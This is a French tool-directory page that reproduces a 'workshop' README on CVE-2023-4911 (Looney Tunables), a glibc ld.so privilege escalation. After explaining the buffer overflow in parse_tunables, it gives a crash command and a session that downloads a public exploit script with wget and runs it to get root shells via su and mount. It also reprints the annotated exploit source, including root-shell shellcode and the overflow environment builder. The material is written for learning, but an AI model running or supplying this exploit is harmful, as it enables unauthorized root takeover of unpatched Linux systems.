Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-4911 — Looney Tunables Local privilege escalation (CVE-2023-4911) workshop | Kitploit
Outils/GitHubGitHub/kernelkrise/cve-2023-4911
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & PracticeArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables Local privilege escalation (CVE-2023-4911) workshop

Voir le dépôt
183il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-4911-Looney-Tunables

Atelier Looney Tunables d'élévation de privilèges locaux (CVE-2023-4911) (à des fins éducatives uniquement)

Liens :

  • Vidéo IPPSEC
  • Article de blog Qualsys
  • Détails techniques Qualsys
  • Script POC d'exploit Python
  • Sources GLIBC
  • Documentation des tunables GLIBC

Description

Qu'est-ce que ld.so ?

En informatique, un éditeur de liens dynamique est la partie d'un système d'exploitation qui charge et lie les bibliothèques partagées nécessaires à un exécutable lorsqu'il est exécuté, en copiant le contenu des bibliothèques du stockage persistant vers la RAM, en remplissant les tables de sauts et en relocalisant les pointeurs.

Par exemple, nous avons un programme qui utilise la bibliothèque openssl pour calculer le hachage md5 :``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so analyse le binaire et essaie de trouver la bibliothèque liée à <openssl/md5.h>```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

Comme nous pouvons le voir, il trouve la bibliothèque cryptographique nécessaire dans /lib/x86_64-linux-gnu/libcrypto.so.3. Pendant le démarrage du programme, il place le code de cette bibliothèque dans la RAM du processus et lie toutes les références à cette bibliothèque.

Résumé

Lorsqu'un programme est lancé, ce chargeur examine d'abord le programme pour déterminer les bibliothèques partagées dont il a besoin. Il recherche ensuite ces bibliothèques, les charge en mémoire et les lie à l'exécutable au moment de l'exécution. Ce faisant, le chargeur dynamique résout les références aux symboles, comme les références aux fonctions et aux variables, en s'assurant que tout est prêt pour l'exécution du programme. Compte tenu de son rôle, le chargeur dynamique est très sensible à la sécurité, car son code s'exécute avec des privilèges élevés lorsqu'un utilisateur local lance un programme set-user-ID ou set-group-ID.

Qu'est-ce que les GLIBC Tunables ?

Les Tunables sont une fonctionnalité de la bibliothèque C GNU qui permet aux auteurs d'applications et aux mainteneurs de distributions de modifier le comportement de la bibliothèque d'exécution pour l'adapter à leur charge de travail. Ils sont implémentés sous forme d'un ensemble de commutateurs qui peuvent être modifiés de différentes manières. La méthode par défaut actuelle pour ce faire est via la variable d'environnement GLIBC_TUNABLES en la définissant sur une chaîne de paires nom=valeur séparées par des deux-points. Par exemple, l'exemple suivant active la vérification de malloc et définit le seuil de rognage de malloc à 128 octets :``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
Passer --list-tunables au chargeur dynamique pour afficher tous les paramètres ajustables avec leurs valeurs minimale et maximale :```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

Description de la vulnérabilité

Au tout début de son exécution, ld.so appelle __tunables_init() pour parcourir l'environnement (à la ligne 279), en recherchant les variables GLIBC_TUNABLES (à la ligne 282) ; pour chaque GLIBC_TUNABLES qu'il trouve, il fait une copie de cette variable (à la ligne 284), appelle parse_tunables() pour traiter et assainir cette copie (à la ligne 286), et enfin remplace la variable GLIBC_TUNABLES originale par cette copie assainie (à la ligne 288) :```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
Le premier argument de parse_tunables() (tunestr) pointe vers la copie bientôt nettoyée de GLIBC_TUNABLES, tandis que le second argument (valstring) pointe vers la variable d'environnement GLIBC_TUNABLES originale (dans la pile). Pour nettoyer la copie de GLIBC_TUNABLES (qui doit être de la forme "tunable1=`aaa:tunable2=bbb"`"), parse_tunables() supprime tous les tunables dangereux (les tunables SXID_ERASE) de tunestr, mais conserve les tunables SXID_IGNORE et NONE (aux lignes 221-235) :```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

Malheureusement, si une variable d'environnement GLIBC_TUNABLES est de la forme "tunable1=tunable2=AAA" (où "tunable1" et "tunable2" sont des réglages SXID_IGNORE, par exemple "glibc.malloc.mxfast"), alors :

  • lors de la première itération du "while (true)" dans parse_tunables(), la totalité de "tunable1=tunable2=AAA" est copiée sur place dans tunestr (aux lignes 221-235), remplissant ainsi tunestr ;

  • aux lignes 247-248, p n'est pas incrémenté (p[len] vaut '\0' car aucun ':' n'a été trouvé aux lignes 203-204) et donc p pointe toujours vers la valeur de "tunable1", c'est-à-dire "tunable2=AAA" ;

  • lors de la deuxième itération du "while (true)" dans parse_tunables(), "tunable2=AAA" est ajouté (comme s'il s'agissait d'un deuxième réglage) à tunestr (qui est déjà plein), provoquant ainsi un débordement de tunestr.

PoC

Commande:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
Payload:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

Exploitation

Cette vulnérabilité est un simple débordement de buffer, mais que devrions-nous écraser pour obtenir une exécution de code arbitraire ? Le buffer que nous débordons est alloué à la ligne 284 par tunables_strdup(), une réimplémentation de strdup() qui utilise __minimal_malloc() de ld.so au lieu de malloc() de glibc (en effet, malloc() de glibc n'a pas encore été initialisé). Cette implémentation de __minimal_malloc() appelle simplement mmap() pour obtenir plus de mémoire du noyau.

Jetons un coup d'œil à ce code :```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### Écrasement des pointeurs de la structure link_map bientôt allouée
>ld.so alloue la mémoire pour cette structure link_map avec calloc(), et donc n'initialise pas explicitement ses différents membres à zéro ; c'est une optimisation raisonnable. Comme mentionné précédemment, calloc() ici n'est pas le calloc() de glibc mais le __minimal_calloc() de ld.so, qui appelle __minimal_malloc() *sans* initialiser explicitement à zéro la mémoire qu'il retourne ; c'est aussi une optimisation raisonnable, car à toutes fins utiles __minimal_malloc() retourne toujours un bloc propre de mémoire mmap()ée, qui est garanti d'être initialisée à zéro par le noyau.
>
> Malheureusement, le débordement de tampon dans parse_tunables() nous permet d'écraser la mémoire mmap()ée propre avec des octets non nuls, écrasant ainsi les pointeurs de la structure link_map bientôt allouée avec des valeurs non NULL. Cela nous permet de casser complètement la logique de ld.so, qui suppose que ces pointeurs sont NULL.

#### Idée de débordement
> Nous avons réalisé que de nombreux autres pointeurs dans la structure link_map ne sont pas explicitement initialisés à NULL ; en particulier, les pointeurs vers les structures Elf64_Dyn dans le tableau de pointeurs l_info[]. Parmi ceux-ci, `l_info[DT_RPATH]`, le "chemin de recherche de la bibliothèque", s'est immédiatement démarqué : si nous écrasons ce pointeur et contrôlons où et à quoi il pointe, nous pouvons alors forcer ld.so à faire confiance à un répertoire que nous possédons, et donc charger notre propre libc.so.6 ou bibliothèque LD_PRELOAD de ce répertoire, et exécuter du code arbitraire (en tant que root, si nous exécutons ld.so via un programme SUID-root).

> Où doit pointer le `l_info[DT_RPATH]` écrasé ? La réponse facile à cette question est : la pile ; plus précisément, nos chaînes d'environnement dans la pile. Sous Linux, la pile est randomisée dans une région de 16 Go, et nos chaînes d'environnement peuvent occuper jusqu'à 6 Mo (_STK_LIM / 4 * 3, dans bprm_stack_limits() du noyau) : après 16 Go / 6 Mo = 2730 essais, nous avons une bonne chance de deviner l'adresse de nos chaînes d'environnement (dans notre exploit, nous écrasons toujours `l_info[DT_RPATH]` avec 0x7ffdfffff010, le centre de la région de pile randomisée). Dans nos tests, cette attaque par force brute prend environ 30 s sur Debian, et environ 5 min sur Ubuntu et Fedora (à cause de leurs gestionnaires de crashs automatiques, Apport et ABRT ; nous n'avons pas essayé de contourner ce ralentissement).

> À quoi doit pointer le l_info[DT_RPATH] écrasé ?
> Dans notre exploit, nous remplissons simplement nos 6 Mo de chaînes d'environnement avec 0xfffffffffffffff8 (-8), car à un décalage de -8 octets en dessous de la table de chaînes de la plupart des programmes SUID-root, la chaîne "\x08" apparaît : cela force ld.so à faire confiance à un répertoire relatif nommé "\x08" (dans notre répertoire de travail actuel), et permet donc de charger et exécuter notre propre libc.so.6 ou bibliothèque LD_PRELOAD de ce répertoire, en tant que root.

Schéma:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### Octet "\x08" au décalage -8 dans .DYNSTR:
!["Octet \x08 dans xxd"](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC LPE:
J'utilise mon ancien snapshot Kali Linux pour tester le PoC. Vérifions s'il est vulnérable :```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

Nous avons obtenu SIGSEGV, donc notre système est vulnérable à cette CVE LPE !

Téléchargeons le script PoC et testons-le :``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
Donc, notre build id de ld.so n'est pas dans la liste des cibles, réglons ça !
Désactiver ASLR :```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Vérifiez à nouveau :``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
Donc, notre script POC trouve un décalage utile, ajoutons notre ld.so build id et le décalage au script :
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
Retour ASLR :```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

Essayons à nouveau le script PoC :``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
Ça marche!

Cela fonctionne également avec d'autres fichiers SUID :```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>


❖ Sans publicité ❖
Abonnement premium ❖
Accès instantané à tous les plus de 2 370 outils ❖

(mis à jour à la minute près)
Je ne veux pas connaître les nouveaux outils (cliquez ici)
*Remarque : l'Internet Archive met en cache les pages d'entrée à un moment donné, et certaines peuvent être retirées. Si le dépôt a disparu, il a disparu ❖

``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id uid=0(root)

root@kitploit:~
### Alors, regardons le script PoC :
Au début du script PoC, nous avons le dictionnaire ARCH avec quelques **architectures de processeurs** (j'ai laissé seulement x86_64 car je l'utilise).
Dans ce dictionnaire, nous avons 
* "shellcode" : pour lancer ""/bin/sh" avec les privilèges root
* "exitcode" : c'est aussi un shellcode, mais il exécute exit(0x66)
* "stack_top" : c'est l'adresse maximale possible de la pile sur x86_64
* "stack_aslr_bits" : ce sont les bits d'entropie sur x86_64 (bits modifiés par ASLR)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

Désassemblage de shellcode```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall

7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall

e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall

root@kitploit:~
Désassemblage du code de sortie```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

Ensuite nous avons un dictionnaire avec les cibles (ld.so build id) et leurs buffer overflow offsets```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }

root@kitploit:~
Ensuite, il y a de nombreuses fonctions dont le nom indique ce qu'elles font et pour la plupart, elles peuvent être remplacées par des méthodes de la bibliothèque pwntools. Je ne vois donc pas d'intérêt à les discuter en détail, à l'exception de certaines d'entre elles.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


Tableau de l'entropie ASLR sur différentes architectures : Table with ASLR entropy bits

Télécharger l’outil